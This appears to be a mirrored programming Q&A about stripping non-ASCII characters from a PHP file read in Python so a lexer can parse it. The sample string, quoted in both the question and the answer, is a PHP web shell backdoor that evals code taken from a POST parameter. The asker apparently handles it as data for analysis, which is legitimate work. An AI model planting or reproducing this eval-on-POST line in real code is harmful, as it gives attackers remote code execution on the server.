简体   繁体   中英

Read a file with illegal characters in Python

I am trying to read a PHP file in Python that has illegal characters. The string is the following:

z��m���^r�^if(!empty($_POST['adbb7e61'])){eval($_POST['bba6e']);exit(0);}

I am using the following code to strip out the illegal characters but it doesn't seem to be working

EncodedString   = Input.encode("ascii", "ignore")
Input           = EncodedString.decode()

It results in the following string which throws an error

   ^r^if(!empty($_POST['adbb7e61'])){eval($_POST['bba6e']);exit(0);}

The error message is

 line 480, in t_ANY_error
    raise SyntaxError('illegal character', (None, t.lineno, None, t.value))
  File "<string>", line 2

How can I fix this? I don't want to do it in the file being read because that would defeat the purpose of what I am trying to accomplish.

The resulting characters are within the ASCII range, thus the encode method worked just fine.

Your problem is that there are still characters that you must get rid off because they cannot be interpreted by your software.

What I guess is that you want to keep all characters after the last ^ , which leads to the following code :

Input         = "z��m���^r�^if(!empty($_POST['adbb7e61'])){eval($_POST['bba6e']);exit(0);}"
EncodedString = Input.encode("ascii", "ignore")
Input         = EncodedString.decode().split('^')[-1]
print(Input)
# if(!empty($_POST['adbb7e61'])){eval($_POST['bba6e']);exit(0);}

The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM